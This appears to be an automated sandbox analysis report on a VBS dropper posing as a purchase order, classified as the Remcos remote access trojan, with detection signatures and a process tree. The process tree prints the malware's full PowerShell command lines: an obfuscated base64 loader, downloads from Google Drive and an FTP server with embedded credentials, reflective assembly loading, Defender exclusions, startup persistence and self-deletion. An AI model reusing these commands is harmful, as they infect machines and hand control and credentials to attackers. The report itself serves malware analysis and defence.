Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Urgent Purchase Order (P.O.) No.477764107102024.vbs

Overview

General Information

Sample name:Urgent Purchase Order (P.O.) No.477764107102024.vbs
Analysis ID:1527624
MD5:50e853b9137996e5f5f8bd0d593381db
SHA1:3543224a2d2eb10dac5d84695b04c9a708003bf9
SHA256:1c511019abd39d416b101bf8a29895eadce4ad5371f31558437ccc1567e5d415
Tags:RATRemcosRATvbsuser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Sigma detected: Copy file to startup via Powershell
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Connects to many ports of the same IP (likely port scanning)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious values (likely registry only malware)
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Self deletion via cmd or bat file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Script Run in AppData
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses FTP
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 796 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 4040 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC4AcA' + [char]66 + '0AGYAQAAxAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcA' + [char]66 + '0AGYAJwAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'EAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAIAA9ACAAZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAA7ACkAJw' + [char]66 + 'AAEAAcA' + [char]66 + 'KADgANwA1ADEAMg' + [char]66 + 'vAHIAcA' + [char]66 + 'yAGUAcA' + [char]66 + 'vAGwAZQ' + [char]66 + '2AGUAZAAnACwAKQApADkANAAsADYAMQAxACwANwA5ACwANAAxADEALAA4ADkALAA4ADEAMQAsADcAMAAxACwAOQA5ACwANQAxADEALAAxADAAMQAsADAAMAAxACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgAKA' + [char]66 + 'sAGEAaQ' + [char]66 + '0AG4AZQ' + [char]66 + 'kAGUAcg' + [char]66 + 'DAGsAcg' + [char]66 + 'vAHcAdA' + [char]66 + 'lAE4ALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8ALQ' + [char]66 + '3AGUAbgAgAD0AIA' + [char]66 + 'zAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOw' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOw' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAFQAcg' + [char]66 + 'IAFYAdQAkACgAIAA9ACAARw' + [char]66 + 'jAFcAaQ' + [char]66 + 'SADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAEsAbg' + [char]66 + 'ZAE0AJAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAIAAsAEIASw' + [char]66 + 'MAFIAVQAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'mAG0AcA' + [char]66 + 'xAG4AJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAZg' + [char]66 + 'tAHAAcQ' + [char]66 + 'uACQAOw' + [char]66 + '9ADsAIAApACcAdA' + [char]66 + 'PAEwAYw' + [char]66 + 'fAEsAYQAzAFoAZg' + [char]66 + 'vAFgAMg' + [char]66 + 'KAEoAcg' + [char]66 + 'WAGgAbQ' + [char]66 + 'WADkAYw' + [char]66 + 'tADkAWA' + [char]66 + 'zAHUAWA' + [char]66 + 'tAGoAMQ' + [char]66 + 'nADEAJwAgACsAIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAAoACAAPQAgAEkAbw' + [char]66 + 'xAGEARgAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJwAyADQAdQ' + [char]66 + 'YAEoAVA' + [char]66 + 'xAGEAbQ' + [char]66 + 'nAHkATQ' + [char]66 + '0AEYAeg' + [char]66 + 'hAGsAUA' + [char]66 + 'SADEAcQ' + [char]66 + 'fAEkAdg' + [char]66 + 'HAGkAWA' + [char]66 + 'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAEkAbw' + [char]66 + 'xAGEARgAkACgAIAA9ACAASQ' + [char]66 + 'vAHEAYQ' + [char]66 + 'GACQAewAgACkAIA' + [char]66 + 'yAG0ARQ' + [char]66 + '3AGoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAHIAbQ' + [char]66 + 'FAHcAagAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'UAHIASA' + [char]66 + 'WAHUAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAewAgACkAIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgADsA';$rtnbm = $qKKzc; ;$rtnbm = $qKKzc.replace('???' , 'B') ;;$lpnhb = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $rtnbm ) ); $lpnhb = $lpnhb[-1..-$lpnhb.Length] -join '';$lpnhb = $lpnhb.replace('%XRqhI%','C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs');powershell $lpnhb MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3700 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 3744 cmdline: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ; MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 7136 cmdline: powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ; MD5: 04029E121A0CFA5991749937DD22A1D9)
          • WmiPrvSE.exe (PID: 7312 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
        • cmd.exe (PID: 4560 cmdline: cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • powershell.exe (PID: 7192 cmdline: powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • powershell.exe (PID: 7572 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
          • AddInProcess32.exe (PID: 7796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
        • cmd.exe (PID: 7580 cmdline: cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • cmd.exe (PID: 7852 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 7908 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • AddInProcess32.exe (PID: 8048 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
  • cmd.exe (PID: 8068 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 8112 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • AddInProcess32.exe (PID: 7432 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

